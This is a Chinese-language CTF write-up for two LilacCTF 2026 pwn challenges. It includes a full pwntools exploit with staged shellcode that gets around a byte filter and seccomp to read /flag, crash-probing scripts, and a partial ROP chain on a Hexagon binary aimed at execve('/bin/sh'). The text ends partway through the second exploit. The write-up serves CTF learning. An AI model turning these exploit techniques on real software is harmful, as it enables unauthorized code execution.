LilacCTF 2026-Pwn wp by YHalo

哈工大26年的XCTF分站赛,题目质量很好

Bytezoo

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

题目设有沙箱:

$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x0000003b  if (A == execve) goto 0010
 0006: 0x15 0x03 0x00 0x00000065  if (A == ptrace) goto 0010
 0007: 0x15 0x02 0x00 0x0000009d  if (A == prctl) goto 0010
 0008: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v19; // ebx
  int v20; // eax
  __int64 _RAX; // rax
  __int64 _RBX; // rbx
  int i; // [rsp+4h] [rbp-74h]
  int j; // [rsp+8h] [rbp-70h]
  int k; // [rsp+Ch] [rbp-6Ch]
  int shellcode; // [rsp+10h] [rbp-68h]
  int v47; // [rsp+14h] [rbp-64h]
  __int64 addr; // [rsp+20h] [rbp-58h]
  __int64 v49; // [rsp+28h] [rbp-50h]
  _BYTE *buf; // [rsp+30h] [rbp-48h]
  _BYTE *v51; // [rsp+38h] [rbp-40h]

  ((void (__fastcall *)(int, const char **, const char **))sandbox)(argc, argv, envp);
  addr = get_random_uint();
  v49 = addr + get_random_uint() + 10;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  buf = mmap((void *)(addr << 12), 0x1000uLL, 7, 50, -1, 0LL);
  v51 = mmap((void *)(v49 << 12), 0x1000uLL, 3, 50, -1, 0LL);
  if ( buf == (_BYTE *)-1LL || v51 == (_BYTE *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  for ( i = 0; i <= 4095; ++i )
    buf[i] = 0x90;                              // nop
  for ( j = 0; j <= 4095; ++j )
    v51[j] = 0;
  buf[4094] = 0xF;
  buf[4095] = 5;                                // syscall
  puts("Show me your proof of work.");
  shellcode = read(0, buf, 0xFFEuLL);
  for ( k = 0; k < shellcode; ++k )
  {
    v47 = (unsigned __int8)buf[k];
    ++cnt[(unsigned __int8)buf[k]];             // 统计该字节出现的次数
    v19 = cnt[v47];
    if ( v19 > (int)min(v47 >> 4, v47 & 0xF) )  // 这个次数不能大于该字符的高4位和低4位的最小值
    {
      v20 = min((unsigned int)(v47 >> 4), v47 & 0xF);
      printf("Bad byte amount: byte [%02x] has appeared more than %d times.\n", v47, v20);
      exit(1);
    }
  }
  if ( mprotect(buf, 0x1000uLL, 5) == -1 )      // buf 的权限改成 5 (可读、可执行 RX),去掉了写权限
  {
    perror("mprotect");
    exit(1);
  }
  _RAX = 7LL;                                   // 清空所有的向量寄存器 (ZMM, YMM, XMM)
  __asm { cpuid }
  if ( (_RBX & 0x10000) != 0 )
  {
    __asm
    {
      vpxorq  zmm16, zmm16, zmm16
      vpxorq  zmm17, zmm17, zmm17
      vpxorq  zmm18, zmm18, zmm18
      vpxorq  zmm19, zmm19, zmm19
      vpxorq  zmm20, zmm20, zmm20
      vpxorq  zmm21, zmm21, zmm21
      vpxorq  zmm22, zmm22, zmm22
      vpxorq  zmm23, zmm23, zmm23
      vpxorq  zmm24, zmm24, zmm24
      vpxorq  zmm25, zmm25, zmm25
      vpxorq  zmm26, zmm26, zmm26
      vpxorq  zmm27, zmm27, zmm27
      vpxorq  zmm28, zmm28, zmm28
      vpxorq  zmm29, zmm29, zmm29
      vpxorq  zmm30, zmm30, zmm30
      vpxorq  zmm31, zmm31, zmm31
    }
  }
  __asm { vzeroall }
  return ((__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64, __int64))buf)(// 把 buf 强转成一个函数指针,并跳转过去执行你的Shellcode
           0x123456789ABCDEF0LL,                // 传入了 6 个 0x123456789ABCDEF0,污染了rdi, rsi, rdx, rcx, r8, r9
           0x123456789ABCDEF0LL,
           0x123456789ABCDEF0LL,
           0x123456789ABCDEF0LL,
           0x123456789ABCDEF0LL,
           0x123456789ABCDEF0LL);
}

程序有个非常变态的字符校验规则,检查公式:输入字节的出现次数不能大于min(输入字节的高 4 位, 输入字节的低 4 位)

这导致像syscall(0x0f、0x05 )这种字节基本不能出现在输入里[都是0次]

但是程序却自己在buf可执行页末尾预埋了 syscall(0f 05)

尽管如此,程序的seccomp还是没有禁用open,read,write,可以打orw

stage1

(mremap)

+——————————————————————+
| 设置寄存器 -> 准备 mremap(old=A, old_size=0x1000, new=A+0x1000) |
| 然后一路 NOP 走到 A+0xffe,触发页尾 syscall |
| 每次把代码页往上搬 1 页,RIP 恰好落到新页开头,继续循环 |
+——————————————————————+

靠近栈页后,做最终引导

+——————————————————————+
| 1) mprotect(下一页, 0x1000, 7) 把下一页改成 RWX |
| 2) 在栈页开头铺一个 8 字节小调度器: |
| 87 f2 87 fe 89 c7 eb f6 |
| 对应:xchg edx,esi; xchg esi,edi; mov edi,eax; jmp -0xa |
| 3) jmp -0xa 会跳到“前一页末尾”的 syscall gadget |
| 4) 通过寄存器交换,把这次 syscall 变成 read(0, next_page,0x1000) |

+——————————————————————+

这样就等价于执行了read了,接下来构造orw发送第二次asm,绕过程序原有的输入检测

EXP

from pwn import *
import time

context.arch = "amd64"
context.log_level = "info"

BIN = "./bytezoo/pwn"
io = process(BIN)
elf = ELF(BIN)
main=elf.sym["main"]
print(hex(main))

stage1_asm = r"""
mov edi, eax
xor ecx, ecx
mov ebp, ecx
push rbp
pop rsi
push rsi
pop rdx
inc esi
rol esi, 44
push rsi
push rsi
pop rcx
pop rdx
mov ebx, esp
sub ebx, eax
sub ebx, ecx
cmp ebx, ecx
ja label_above
label_mprotect:
mov edi, eax
label_loop2:
inc edi
loop label_loop2
push rcx
pop rdx
inc edx
push rdx
pop rbp
push rbp
imul dx, dx, 0x1fb1
imul dx, dx, 0x8137
imul bp, bp, 0x2321
imul bp, bp, 0x48ca
push rbp
pop rax
pop rbp
imul bp, bp, 0x4739
imul bp, bp, 0x23ee
push rbp
pop rcx
label_loop3:
push r15
dec ecx
jnz label_loop3
mov rbx, 0xF6EBC789FE87F287
push rbx
jmp label_done
label_above:
push rbp
pop rax
inc ebp
inc ebp
inc ebp
mov r10, rbp
mov r13, rdi
label_loop:
inc r13
loop label_loop
mov r8, r13
push 0x79
pop rax
push 0x19
pop rax
label_done:
"""

stage2_asm = r"""
lea r15, [rip + path]
mov eax, 2
mov rdi, r15
xor esi, esi
xor edx, edx
syscall
mov edi, eax
xor eax, eax
mov rsi, r15
mov edx, 0x100
syscall
mov edx, eax
mov eax, 1
mov edi, 1
syscall
path:
.asciz "/flag"
"""

stage1 = asm(stage1_asm)
stage2 = asm(stage2_asm)

io.sendafter(b"Show me your proof of work.", stage1)
time.sleep(0.05)
io.send(stage2)
print(io.recvall(timeout=2).decode("latin-1", errors="ignore"), end="")

Gate-Way

    Arch:       em_qdsp6-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)

这是一道Hexagon (QUALCOMM DSP6)架构的题目,

Hexagon 是由高通(Qualcomm)开发的一种专有的数字信号处理器(DSP)架构,现在也演变为了其核心的神经网络处理器(NPU)架构

我的IDA对这种架构的支持还不完整,所以分析起来有些麻烦

对于这种架构需要了解一些东西:

通用寄存器: R0-R31 (32-bit)

栈/帧/返回:

R29 = SP

R30 = FP

R31 = LR (返回地址)

参数传递: 函数参数通常从 R0 开始依次放 (R0, R1, R2, …)

返回值: 通常在 R0

栈帧语义: allocframe / dealloc_return

allocframe(#size): 建立栈帧,保存旧 FP/LR

dealloc_return: 同时做“销毁栈帧 + 恢复 LR + 返回”

所以覆盖到保存的 FP/LR 后,通常可以直接形成 pivot + ROP

内存访问语义(看 gadget 时很有用)

memb: 1字节

memw: 4字节

memd: 8字节

不能直接栈上执行 shellcode(NX),要走 ROP/syscall,但无 canary + 无 PIE,栈溢出利用条件很好

先把程序跑起来看下功能面

 主菜单: `Manage / Reset / Exit`
 Manage 子菜单: `Register / Delete / Show`
 用户输入点至少有两个:
   Register: `ip:port|description`
   Delete: `ip:port`

黑盒试探 Register 是否会崩:

用到的脚本

#!/usr/bin/env python3
import argparse
import subprocess
from collections import Counter


def rc_label(rc: int | None) -> str:
    if rc is None:
        return "TIMEOUT"
    if rc < 0:
        sig = -rc
        return f"SIG{sig}(shell_exit={128 + sig})"
    return str(rc)


def run_once(qemu: str, binary: str, length: int, timeout: float) -> int | None:
    payload = "A" * length
    # Sequence:
    # 1) enter Manage
    # 2) enter Register
    # 3) send long register payload
    # 4) send two more menu choices to drive control flow forward
    data = f"1\n1\n{payload}|B\n3\n3\n".encode()
    try:
        p = subprocess.run(
            [qemu, binary],
            input=data,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=timeout,
        )
        return p.returncode
    except subprocess.TimeoutExpired:
        return None


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Black-box probe for Register path crash threshold."
    )
    parser.add_argument("--qemu", default="./qemu-hexagon", help="Path to qemu-hexagon")
    parser.add_argument("--bin", default="./pwn", help="Path to target binary")
    parser.add_argument("--start", type=int, default=32, help="Start length")
    parser.add_argument("--end", type=int, default=256, help="End length (inclusive)")
    parser.add_argument("--step", type=int, default=16, help="Step")
    parser.add_argument("--repeat", type=int, default=1, help="Runs per length")
    parser.add_argument("--timeout", type=float, default=5.0, help="Timeout seconds per run")
    args = parser.parse_args()

    print("== Register Crash Probe ==")
    print(f"qemu={args.qemu} bin={args.bin}")
    print(f"range={args.start}..{args.end} step={args.step} repeat={args.repeat}")
    print("")

    first_crash = None
    rows: list[tuple[int, str, Counter[int | None]]] = []

    for n in range(args.start, args.end + 1, args.step):
        counter: Counter[int | None] = Counter()
        for _ in range(args.repeat):
            rc = run_once(args.qemu, args.bin, n, args.timeout)
            counter[rc] += 1

        crashed = any((rc is not None and rc != 0) for rc in counter)
        status = "CRASH" if crashed else ("HANG" if None in counter else "OK")
        if crashed and first_crash is None:
            first_crash = n

        rows.append((n, status, counter))

    print(f"{'len':>6}  {'status':<8}  return_codes")
    print("-" * 48)
    for n, status, counter in rows:
        parts = []
        for rc, c in sorted(counter.items(), key=lambda x: (x[0] is None, x[0])):
            parts.append(f"{rc_label(rc)}x{c}")
        print(f"{n:>6}  {status:<8}  {', '.join(parts)}")

    print("")
    if first_crash is None:
        print("No crash observed in current range.")
    else:
        print(f"First observed crash length: {first_crash}")
        print("Tip: rerun with smaller step around this boundary for precise threshold.")


if __name__ == "__main__":
    main()

本地实测到的一个结果:96 正常,104 开始崩溃(SIG11),112+ 稳定崩溃

黑盒试探Delete是否会崩:

用到的脚本

#!/usr/bin/env python3
import argparse
import subprocess
from collections import Counter


def rc_label(rc: int | None) -> str:
    if rc is None:
        return "TIMEOUT"
    if rc < 0:
        sig = -rc
        return f"SIG{sig}(shell_exit={128 + sig})"
    return str(rc)


def run_once(qemu: str, binary: str, length: int, timeout: float) -> int | None:
    payload = "A" * length
    # Sequence:
    # 1) enter Manage
    # 2) enter Delete
    # 3) send long delete payload (ip:port field)
    # 4) send two more menu choices to drive control flow forward
    data = f"1\n2\n{payload}\n3\n3\n".encode()
    try:
        p = subprocess.run(
            [qemu, binary],
            input=data,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=timeout,
        )
        return p.returncode
    except subprocess.TimeoutExpired:
        return None


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Black-box probe for Delete path crash threshold."
    )
    parser.add_argument("--qemu", default="./qemu-hexagon", help="Path to qemu-hexagon")
    parser.add_argument("--bin", default="./pwn", help="Path to target binary")
    parser.add_argument("--start", type=int, default=32, help="Start length")
    parser.add_argument("--end", type=int, default=256, help="End length (inclusive)")
    parser.add_argument("--step", type=int, default=16, help="Step")
    parser.add_argument("--repeat", type=int, default=1, help="Runs per length")
    parser.add_argument("--timeout", type=float, default=5.0, help="Timeout seconds per run")
    args = parser.parse_args()

    print("== Delete Crash Probe ==")
    print(f"qemu={args.qemu} bin={args.bin}")
    print(f"range={args.start}..{args.end} step={args.step} repeat={args.repeat}")
    print("")

    first_crash = None
    rows: list[tuple[int, str, Counter[int | None]]] = []

    for n in range(args.start, args.end + 1, args.step):
        counter: Counter[int | None] = Counter()
        for _ in range(args.repeat):
            rc = run_once(args.qemu, args.bin, n, args.timeout)
            counter[rc] += 1

        crashed = any((rc is not None and rc != 0) for rc in counter)
        status = "CRASH" if crashed else ("HANG" if None in counter else "OK")
        if crashed and first_crash is None:
            first_crash = n

        rows.append((n, status, counter))

    print(f"{'len':>6}  {'status':<8}  return_codes")
    print("-" * 48)
    for n, status, counter in rows:
        parts = []
        for rc, c in sorted(counter.items(), key=lambda x: (x[0] is None, x[0])):
            parts.append(f"{rc_label(rc)}x{c}")
        print(f"{n:>6}  {status:<8}  {', '.join(parts)}")

    print("")
    if first_crash is None:
        print("No crash observed in current range.")
    else:
        print(f"First observed crash length: {first_crash}")
        print("Tip: rerun with smaller step around this boundary for precise threshold.")


if __name__ == "__main__":
    main()

112 开始稳定崩溃(SIG7, shell exit 135)

Register/Delete 崩溃阈值非常接近,高度怀疑是同一类栈帧覆盖问题

这两条通路如果细扫,就是把step调小,会发现105~108 多为 SIG11(139),阈值大概在104~105左右

我这里选的主线是Register,因为Register 更适合放结构化 payload

先找一下可写可控内存地址

$ readelf -S pwn |grep -n "\.bss"
12:  [ 7] .bss              NOBITS          000475f0 0075ec 000d44 00  WA  0   0  8

得到.bss 基址是 0x475f0

接下来需要反汇编下,我用的是llvm-objdump这个工具,可以单独安装,它是支持hexagon这个架构的

$ llvm-objdump --version | grep -i hexagon
    hexagon     - Hexagon

生成反汇编文件

TOOL_OBJDUMP=$(which llvm-objdump)
$TOOL_OBJDUMP -d --no-show-raw-insn pwn > /tmp/pwn.dis

找 pivot gadget(dealloc_return)

$ grep -n "dealloc_return" /tmp/pwn.dis | head -n 200
48:   20eec:    dealloc_return }
64:   20f2c:    dealloc_return }
104:   20fcc:           dealloc_return }
188:   2111c:           dealloc_return }
264:   2124c:           dealloc_return }
312:   2130c:           dealloc_return }
412:   2149c:           dealloc_return }
432:   214ec: {         dealloc_return }
440:   2150c: {         dealloc_return }
447:   21528: {         dealloc_return }
528:   2167c: {         if (p0) dealloc_return }
587:   21768: {         r19:18 = memd(r29+#0xc8);       dealloc_return }
603:   217a8:           if (!p0.new) dealloc_return:t }
619:   217e8: {         dealloc_return }
644:   21854:           if (!p0) dealloc_return }
666:   218ac: {         dealloc_return }
696:   21924: {         dealloc_return }
983:   21da4: {         r21:20 = memd(r29+#0x0);        dealloc_return }
1117:   21fcc: {        dealloc_return }
1193:   2210c:          dealloc_return }
1342:   22380: {        r21:20 = memd(r29+#0x10);       dealloc_return }
1390:   22448: {        dealloc_return }
1410:   22498: {        dealloc_return }
1493:   225e4: {        dealloc_return }
3980:   24d24: {        dealloc_return }
4111:   24f38:          if (p0.new) dealloc_return:t }
4117:   24f50:          dealloc_return }
4235:   25138:          if (p0.new) dealloc_return:t }
4241:   25150: {        r17:16 = memd(r29+#0x0);        dealloc_return }
4292:   25224: {        r21:20 = memd(r29+#0x0);        dealloc_return }
4335:   252d4: {        r21:20 = memd(r29+#0x10);       dealloc_return }
4361:   25344:          if (p0.new) dealloc_return:t }
4370:   25368: {        if (p0) dealloc_return }
4382:   25398: {        dealloc_return }
4392:   253c0:          dealloc_return }
4712:   258e8: {        r0 = r2;        dealloc_return }
4716:   258f8: {        if (!p0) dealloc_return }
4730:   25930: {        dealloc_return }
4735:   25944: {        if (p0) dealloc_return }
4760:   259a8: {        dealloc_return }
4765:   259bc: {        r0 = r2;        dealloc_return }
4775:   259e4: {        dealloc_return }
4872:   25b90: {        dealloc_return }
4907:   25c24: {        r21:20 = memd(r29+#0x0);        dealloc_return }
6053:   26e1c:          if (!p0.new) r0 = #0;   dealloc_return }
6078:   26e80:          if (p0.new) dealloc_return:t }
6086:   26ea0:          r17:16 = memd(r29+#0x0);        dealloc_return }
6157:   26fc4: {        r0 = r1;        dealloc_return }
6382:   27358:          dealloc_return }
6407:   273c4: {        dealloc_return }

这里我就选20eec: dealloc_return

然后找 load regs gadget(从栈读 r16-r19)

$ grep -n "memd(r29+#" /tmp/pwn.dis | head -n 300
grep -nE "r17:16 = memd\(r29\+#8\)|r19:18 = memd\(r29\+#0\)" /tmp/pwn.dis
455:   21558:           memd(r29+#-0x10) = r17:16;      allocframe(#0xd8) }
457:   21560:           r0 = add(r29,#0x28);    memd(r29+#0xc8) = r19:18 }
526:   21674:           if (p0.new) r17:16 = memd(r29+#0xd0)
527:   21678:           if (p0.new) r19:18 = memd(r29+#0xc8) }
535:   21698:           r0 = add(r29,#0x10);    memd(r29+#0x0) = r3:2 }
540:   216ac:           memd(r29+#0x20) = r9:8 }
543:   216b8:           memd(r29+#0x18) = r13:12 }
544:   216bc: {         memd(r29+#0x10) = r17:16 }
586:   21764: {         r17:16 = memd(r29+#0xd0);       memb(r18+#0x2) = #1 }
587:   21768: {         r19:18 = memd(r29+#0xc8);       dealloc_return }
591:   21778:           memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
602:   217a4:           if (!p0.new) r17:16 = memd(r29+#0x0)
607:   217b8:           memd(r29+#-0x10) = r17:16;      allocframe(#0x10) }
610:   217c4:           r1 = memw(r2+#0x0);     memd(r29+#0x0) = r19:18 }
618:   217e4: {         r17:16 = memd(r29+#0x8);        r19:18 = memd(r29+#0x0) }
622:   217f4:           memd(r29+#-0x10) = r17:16;      allocframe(#0x10) }
625:   21800:           r18 = r0;       memd(r29+#0x0) = r19:18 }
632:   2181c: {         r17:16 = memd(r29+#0x8);        r19:18 = memd(r29+#0x0) }
636:   21834:           memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
643:   21850:           if (!p0) r17:16 = memd(r29+#0x0)
665:   218a8:           r17:16 = memd(r29+#0x0);        memw(r16+#0xc) = r16 }
668:   218b4:           memd(r29+#-0x10) = r17:16;      allocframe(#0x18) }
671:   218c0:           memd(r29+#0x8) = r19:18;        memd(r29+#0x0) = r21:20 }
694:   2191c: {         r17:16 = memd(r29+#0x10);       memw(r16+#0x0) = r1 }
695:   21920: {         r19:18 = memd(r29+#0x8);        r21:20 = memd(r29+#0x0) }
700:   21938:           memd(r29+#-0x10) = r17:16;      allocframe(#0x18) }
704:   21948:           memd(r29+#0x8) = r19:18 }
707:   21954:           memd(r29+#0x0) = r21:20 }
982:   21da0: {         r17:16 = memd(r29+#0x10);       r19:18 = memd(r29+#0x8) }
983:   21da4: {         r21:20 = memd(r29+#0x0);        dealloc_return }
989:   21dc8:           memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
1004:   21e04:          r17:16 = memd(r29+#0x0);        deallocframe }
1007:   21e14:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
1017:   21e3c: {        r17:16 = memd(r29+#0x0);        deallocframe }
1027:   21e64:          memd(r29+#-0x10) = r17:16;      allocframe(#0x10) }
1029:   21e6c:          memd(r29+#0x0) = r19:18 }
1116:   21fc8:          r17:16 = memd(r29+#0x8);        r19:18 = memd(r29+#0x0) }
1275:   22270:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
1279:   22280:          r17:16 = memd(r29+#0x0);        memw(r0+#0x0) = r16 }
1288:   222a8:          memd(r29+#-0x10) = r17:16;      allocframe(#0x28) }
1294:   222c0:          r4 = memw(r0+#0x14);    memd(r29+#0x18) = r19:18 }
1297:   222cc:          memd(r29+#0x10) = r21:20;       memw(r29+#0x8) = r1 }
1341:   2237c: {        r17:16 = memd(r29+#0x20);       r19:18 = memd(r29+#0x18) }
1342:   22380: {        r21:20 = memd(r29+#0x10);       dealloc_return }
1349:   223a4:          memd(r29+#-0x10) = r17:16;      allocframe(#0x20) }
1351:   223ac:          r3 = memw(r0+#0x30);    memd(r29+#0x10) = r19:18 }
1389:   22444:          r17:16 = memd(r29+#0x18);       r19:18 = memd(r29+#0x10) }
1414:   224a8:          memd(r29+#-0x10) = r17:16;      allocframe(#0xf8) }
1425:   224d4:          memd(r29+#0xe8) = r19:18 }
1426:   224d8: {        memd(r29+#0xe0) = r21:20;       memd(r29+#0xd8) = r23:22 }
1427:   224dc: {        memd(r29+#0xc0) = r7:6;         memd(r29+#0xb8) = r7:6 }
1428:   224e0: {        memd(r29+#0xb0) = r7:6;         memd(r29+#0xa8) = r7:6 }
1431:   224ec:          memd(r29+#0xa0) = r7:6
1491:   225dc:          r17:16 = memd(r29+#0xf0);       r19:18 = memd(r29+#0xe8) }
1492:   225e0: {        r21:20 = memd(r29+#0xe0);       r23:22 = memd(r29+#0xd8) }
1501:   22608:          memd(r29+#0x408) = r19:18
1511:   22630:          memd(r29+#0x410) = r17:16 }
1514:   2263c:          memd(r29+#0x3f8) = r23:22 }
1517:   22648:          memd(r29+#0x3e8) = r27:26
1518:   2264c:          memd(r29+#0x3f0) = r25:24 }
1541:   226a8: {        memd(r29+#0x400) = r21:20
1793:   22aa4:          memd(r29+#0xb0) = r1:0 }
1843:   22b6c:          r1:0 = memd(r29+#0xb0)
1943:   22cfc:          r1:0 = memd(r29+#0xb0) }
1949:   22d14:          if (!p0) memd(r29+#0xb0) = r3:2 }
2146:   23040:          r1:0 = memd(r29+#0xb0)
2178:   230c0: {        r1:0 = memd(r29+#0xb0)
2206:   23130:          r20 = memw(r29+#0x5c);  r1:0 = memd(r29+#0xb0) }
2237:   231ac:          r1:0 = combine(#0,#0x0);        r3:2 = memd(r29+#0xb0) }
2293:   23298:          r1:0 = memd(r29+#0xb0) }
2357:   23398:          r1 = memw(r29+#0x34);   r3:2 = memd(r29+#0xb0) }
3146:   24010:          r2 = r19;       memd(r29+#0x28) = r7:6 }
3150:   24020: {        r3:2 = memd(r29+#0x28) }
3974:   24d0c: {        r17:16 = memd(r29+#0x410)
3975:   24d10:          r19:18 = memd(r29+#0x408) }
3976:   24d14: {        r21:20 = memd(r29+#0x400)
3977:   24d18:          r23:22 = memd(r29+#0x3f8) }
3978:   24d1c: {        r25:24 = memd(r29+#0x3f0)
3979:   24d20:          r27:26 = memd(r29+#0x3e8) }
4082:   24ec4:          memd(r29+#-0x10) = r17:16
4110:   24f34:          if (p0.new) r17:16 = memd(r29+#0x100)
4116:   24f4c: {        r17:16 = memd(r29+#0x100)
4143:   24fc8:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
4234:   25134:          if (p0.new) r17:16 = memd(r29+#0x0)
4241:   25150: {        r17:16 = memd(r29+#0x0);        dealloc_return }
4244:   25164:          memd(r29+#-0x10) = r17:16;      allocframe(#0x18) }
4246:   2516c:          r2 = memw(r2+#0x10);    memd(r29+#0x8) = r19:18 }
4248:   25174:          memd(r29+#0x0) = r21:20 }
4291:   25220: {        r17:16 = memd(r29+#0x10);       r19:18 = memd(r29+#0x8) }
4292:   25224: {        r21:20 = memd(r29+#0x0);        dealloc_return }
4296:   25238:          memd(r29+#-0x10) = r17:16;      allocframe(#0x28) }
4299:   25244:          memd(r29+#0x18) = r19:18;       memd(r29+#0x10) = r21:20 }
4334:   252d0: {        r17:16 = memd(r29+#0x20);       r19:18 = memd(r29+#0x18) }
4335:   252d4: {        r21:20 = memd(r29+#0x10);       dealloc_return }
4358:   25338:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
4360:   25340:          if (p0.new) r17:16 = memd(r29+#0x0)
4368:   25360:          if (p0.new) r17:16 = memd(r29+#0x0)
4380:   25390:          r17:16 = memd(r29+#0x0)
4389:   253b4:          r17:16 = memd(r29+#0x0)
4838:   25b08:          memd(r29+#-0x10) = r17:16;      allocframe(#0xb8) }
4841:   25b14:          if (p0) r4 = #0;        memd(r29+#0xa8) = r19:18 }
4871:   25b8c: {        r17:16 = memd(r29+#0xb0);       r19:18 = memd(r29+#0xa8) }
4875:   25ba4:          memd(r29+#-0x10) = r17:16;      allocframe(#0x18) }
4877:   25bac:          memd(r29+#0x0) = r21:20 }
4879:   25bb4:          r4 = memw(r0+#0x14);    memd(r29+#0x8) = r19:18 }
4903:   25c14:          r19:18 = memd(r29+#0x8);        memb(r0+#0x0) = #0 }
4906:   25c20: {        r17:16 = memd(r29+#0x10);       memw(r16+#0x14) = r1 }
4907:   25c24: {        r21:20 = memd(r29+#0x0);        dealloc_return }
4925:   25c78: {        memd(r29+#0x10) = r17:16;       memd(r29+#0x8) = r19:18 }
4927:   25c80:          memd(r29+#0x0) = r21:20 }
4995:   25d90:          r17:16 = memd(r29+#0x10);       r19:18 = memd(r29+#0x8) }
4997:   25d98:          r21:20 = memd(r29+#0x0)
6047:   26e04:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
6051:   26e14:          r1 = memb(r0+#0x0);     r17:16 = memd(r29+#0x0) }
6056:   26e28:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
6077:   26e7c:          if (p0.new) r17:16 = memd(r29+#0x0)
6086:   26ea0:          r17:16 = memd(r29+#0x0);        dealloc_return }
6150:   26fa8:          memd(r29+#-0x10) = r17:16;      allocframe(#0x8) }
6156:   26fc0:          p0 = cmp.eq(r0,#0x0);   r17:16 = memd(r29+#0x0) }
6379:   2734c:          p0 = cmp.eq(r0,#0x0);   r1:0 = memd(r29+#0x0) }

这里我选用217e4: { r17:16 = memd(r29+#0x8); r19:18 = memd(r29+#0x0) }

 最后找 syscall gadget(trap0(#1))

$ grep -n "trap0(#0x1)" /tmp/pwn.dis | head -n 50
438:   21504: {         trap0(#0x1) }
545:   216c0: {         trap0(#0x1) }
558:   216f4: {         trap0(#0x1) }
570:   21724: {         trap0(#0x1) }
582:   21754: {         trap0(#0x1) }
653:   21878: {         trap0(#0x1) }
934:   21ce0: {         trap0(#0x1) }
968:   21d68: {         trap0(#0x1) }
1020:   21e48: {        trap0(#0x1) }
1023:   21e54: {        trap0(#0x1) }
1158:   22078: {        trap0(#0x1) }
1163:   2208c: {        trap0(#0x1) }
1178:   220d0: {        trap0(#0x1) }
1184:   220e8: {        trap0(#0x1) }
1266:   22244: {        trap0(#0x1) }
1302:   222e0: {        trap0(#0x1) }
1325:   2233c: {        trap0(#0x1) }
1362:   223d8: {        trap0(#0x1) }
1365:   223e4: {        trap0(#0x1) }
1403:   2247c: {        trap0(#0x1) }
6337:   27298: {        trap0(#0x1) }
6342:   272ac: {        trap0(#0x1) }
6361:   27300: {        trap0(#0x1) }
6367:   27318: {        trap0(#0x1) }
6375:   2733c: {        trap0(#0x1) }
6399:   273a4: {        trap0(#0x1) }
$ awk '
{
  if (match($0,/^[[:space:]]*([0-9a-f]+):/,m)) addr=m[1]; else next
  if ($0 ~ /r0 = r16/) {l0=NR; a0=addr}
  if ($0 ~ /r1 = r17/) {l1=NR; a1=addr}
  if ($0 ~ /r2 = r18/) {l2=NR; a2=addr}
  if ($0 ~ /r6 = r19/) {l6=NR; a6=addr}
  if ($0 ~ /trap0\(#0x1\)/) {
    if (a0 && a1 && a2 && a6 && NR-l0<=12 && NR-l1<=12 && NR-l2<=12 && NR-l6<=12) {
      printf("candidate: r0@0x%s r1@0x%s r2@0x%s r6@0x%s trap@0x%s\n", a0,a1,a2,a6,addr)
    }
  }
}
' /tmp/pwn.dis
candidate: r0@0x214f4 r1@0x214f8 r2@0x214fc r6@0x21500 trap@0x21504

通过筛选形态r0=r16, r1=r17, r2=r18, r6=r19, trap0(#0x1),找到了0x21504这个gadget

然后构造:

saved LR = G_DEALLOC_RET

frame0: [FP=frame1][LR=G_LOAD_R16_R19]

后面紧跟 r18/r19/r16/r17

frame1: [FP=0][LR=G_HIDDEN]

写入 /bin/sh\x00

溢出尾部覆盖:

saved FP = frame0_addr

偏移根据前面的探测就从104~108里面试

EXP

#!/usr/bin/env python3
from pwn import *

QEMU = "./qemu-hexagon"
BINARY = "./pwn"

# Writable global buffer in .bss
DATA_BUFFER = 0x475F0

# Gadgets
G_HIDDEN = 0x214F0         # r0=r16; r1=r17; r2=r18; r6=r19; trap0(#1)
G_LOAD_R16_R19 = 0x217E4   # r17:16=memd(sp+8); r19:18=memd(sp+0); dealloc_return
G_DEALLOC_RET = 0x20EEC    # dealloc_return

EXECVE_SYSCALL = 221
OFFSET_TO_FP_LR = 104

context.log_level = "debug"


def p32(x: int) -> bytes:
    return (x & 0xFFFFFFFF).to_bytes(4, "little")


def start():
    if args.REMOTE:
        host = args.HOST or "127.0.0.1"
        port = int(args.PORT or 9999)
        return remote(host, port)

    # DEBUG=1 python3 exp.py to keep qemu trace log
    if args.DEBUG:
        return process([
            QEMU,
            "-d", "in_asm,exec,cpu,nochain,mmu",
            "-dfilter", "0x20000+0x10000",
            "-strace",
            "-D", "./qemu.log",
            BINARY,
        ])
    return process([QEMU, BINARY])


def menu(io, c: bytes):
    io.recvuntil(b"3. Exit.\n")
    io.sendline(c)


def submenu(io, c: bytes):
    io.recvuntil(b"3. Show Service.\n")
    io.sendline(c)


def build_payload() -> bytes:
    prefix = b"123456789012345|"  # 16 bytes

    frame0_addr = DATA_BUFFER + 0x10
    frame1_addr = DATA_BUFFER + 0x28
    binsh_addr = DATA_BUFFER + 0x40

    # For hidden gadget: r0=path, r1=argv, r2=envp, r6=syscall
